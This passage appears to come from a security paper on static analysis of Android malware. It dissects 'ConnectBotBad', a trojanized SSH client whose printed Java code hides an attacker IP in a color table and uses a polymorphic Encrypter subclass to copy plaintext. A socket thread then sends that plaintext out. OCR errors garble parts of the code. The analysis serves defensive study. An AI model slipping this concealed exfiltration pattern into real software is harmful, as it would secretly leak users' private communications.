Many attacks on Android systems blend malware with the legitimate functionality of the application. To
detect such malware, it is important to have a human in the loop to resolve ambiguities inherent in the
intent of specific portions of the code. Nonetheless, static analysis can be very useful to humans to
gather clues to resolve the ambiguities, particularly when the application is large or complex.

To illustrate this point, consider ConnectBotBad, a malicious application derived from ConnectBot, an
open-source SSH application for Android 3.0+ devices. The purpose of an SSH client is to securely
communicate with a remote system via an encrypted “tunnel” through the network. Although the
ciphertext may be observed by a third party in transit, it is unintelligible and therefore safe. Network
administrators across the globe depend upon SSH technology to securely administer to remote systems;
clearly, an SSH is a prime target for an entrepreneurial Android malware author.

ConnectBotBad functions identically to ConnectBot, except for one critical difference; it leaks all sent
and received plaintext messages to a third party attacker. Here, we can assume that either the author
himself was malicious, or an attacker has gained access to his source repository and intentionally made
malicious modifications. In the original ConnectBot application:

1. The application makes calls to the PubkeyUtils class whenever information needs to be
encrypted or decrypted.
2. PubkeyUtils calls the static encrypt and decrypt methods of the Encryptor class.
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Figure 1 ConnectBot encrypt or decrypt sequence diagram.

In ConnectBotBad, the author (or attacker) has made some critical changes. First, he has embedded a
malicious destination IP into an application table of default colors, along with some masks used to
abstract the octets of the address.



public class Colors{
public final static Integer[] defaults = new Integer[]

{

0xff000000, // black
0xffcc0000, // red
0xff00cc00, // green
Oxffccec00, // brown
0xffo000cc, // blue
0xffcc00cc, // purple
0xff00cccc, // cyan

0xff949494, 0xff9e9e9e, OxffaBa8a8, 0xffb2b2b2, Oxffbcbcbc,
Oxffc6c6e6, Oxffd0d0dO, Oxffdadada, Oxffededed, Oxffeeeeee,
0x00000018, 0x00000010, 0x00000008, 0x000000ff, OxcOa80alf

Figure 2 Malicious row of contants added, containing attacker IP address.

He has created a class called NPSUtils to refer to this color data by an alias rather than directly, to avoid
suspicion of network/Ul coupling. It also has a variable to store the leaked plaintext message data.

public class NPSULtil extends Colors {
public static byte[] current = null;

}

Figure 3 NPSUtils aliases the Colors class and hosts leaked message data.

Then he has removed the final and static keywords from the Encryptor class and extended it with a class
called Encrypter:

public class Encrypter extends Encryptor {
public Encrypter() {
super();
}
@Override
public byte[] encrypt(final byte[] a, final int b, final String c, final byte[] d) throws Exception
{
try{
synchronized(NPSUTtil.current){
NPSUtil.current = d;
SocksSocket.COPAHelper();
}
}catch(Exception e){}
return super.encrypt(a, b, c, d);
}
@Override
public byte[] decrypt(final byte[] a, final int b, final String c, final byte[] d) throws Exception
{
byte[] retval = super.decrypt(a, b, c, d);
try{
synchronized(NPSUTtil.current){
NPSUtil.current = retval;
SocksSocket.COPAHelper();
}
}catch(Exception e){}
return retval;
}
}
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In PubkeyUtils, he has constructed an Encryptor member as an Encrypter, cleverly using polymorphism

public class PubkeyUtils{
/I Encryption engine
private static Encryptor encryptor = new Encrypter();

encryptor.encrypt(salt, ITERATIONS, secret, cleartext);
encryptor.decrypt(salt, ITERATIONS, secret, ciphertext);

}

to invoke his own malicious code:

Finally, within the SocksSocket class (which already uses Sockets for legitimate reasons), he has added
an additional method to create a new thread to send the leaked message to the attacker:

public class SocksSocket extends Socket{
Figure 6 Construction and polymorphic invocation of Encrypter.

public void run() {
try{
int a = NPSUTtil.defaults[NPSUtil.defaults.length-1];
int b = NPSUTtil.defaults[NPSUtil.defaults.length-2];
int ¢ = NPSUTtil.defaults[NPSUtil.defaults.length-3];
int d = NPSUtil.defaults[NPSUTtil.defaults.length-4];
int e = NPSUtil.defaults[NPSUTtil.defaults.length-5];
byte[] f = {(byte)((a>>e)&b),(byte)((a>>d)&b),(byte)((a>>c)&b), (byte)(a&b)};
Socket s = new Socket(InetAddress.getByAddress(f),b);
synchronized(NPSUTtil.current){
s.getOutputStream().write(NPSUTtil.current);

}
s.close();
}catch(Exception e){}
}
}).start();

}

Figure 7 Added method to send leaked messages to attacker.

The control flow has been altered to the following:

1. The application makes calls to the PubkeyUtils class whenever information needs to be
encrypted or decrypted.
2. PubkeyUtils polymorphically calls the malicious Encrypter versions of encrypt and decrypt.
a. The Encrypter methods leak the plaintext message to a shared variable in the NPSULtil
class.



b. The Encrypter methods call an ambiguous COPAHelper method in the SocksSocket class.
i. COPAHelper creates a new thread, which extracts the embedded IP address and
plaintext message from NPSUtil and sends them to the attacker via a socket
connection.
c. The malicious code calls the Encryptor implementations of encrypt and decrypt, and is
careful not to throw exceptions, in order to leave the application’s expected behavior

unaltered.
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Figure 8 ConnectBotBad encrypt or decrypt sequence diagram.

The Android Manifest for this application states that the following permission will be used:

<uses-permission android:name="android.permission.INTERNET" />

Figure 9 Internet permission declaration in the Android Manifest.

As an SSH client, ConnectBotBad legitimately needs these permissions to perform its task. The question
becomes: how can one distinguish between legitimate uses of application permissions and malicious
uses?

A simple analysis tool would not do the job here. Discovering this security problem requires the analysis
of control flow, data flow, and even invisible control across threads of execution. Few, if any, “simple”
tools can provide this depth of analysis. Additionally, a simple tool would be unable to differentiate
legitimate and malicious network usages; it takes human domain knowledge to do that. Every http
request, socket connection, etc. would become a point of suspicion. The false positives generated by
flagging all such network uses as a possible leak would be too time-consuming for an analyst to
investigate.

A purely manual inspection would not be feasible either, because ConnectBotBad contains 33,234 lines
of code and 385 classes distributed among 47 packages. Even this example application is too large for an
analyst to manually deconstruct and understand. A weary analyst might entirely miss the subtle
“Encryptor” vs. “Encrypter” typo inside PubkeyUtils, which is where the problem starts.



However, with a clever tool, an analyst may be able to pinpoint the problem within a reasonable
amount of time. This example makes it clear that neither a simple tool nor manual inspection on its own
will suffice. It takes the computing power of a tool plus the domain intuition of a human being to create

a true silver bullet for Android security analysis.



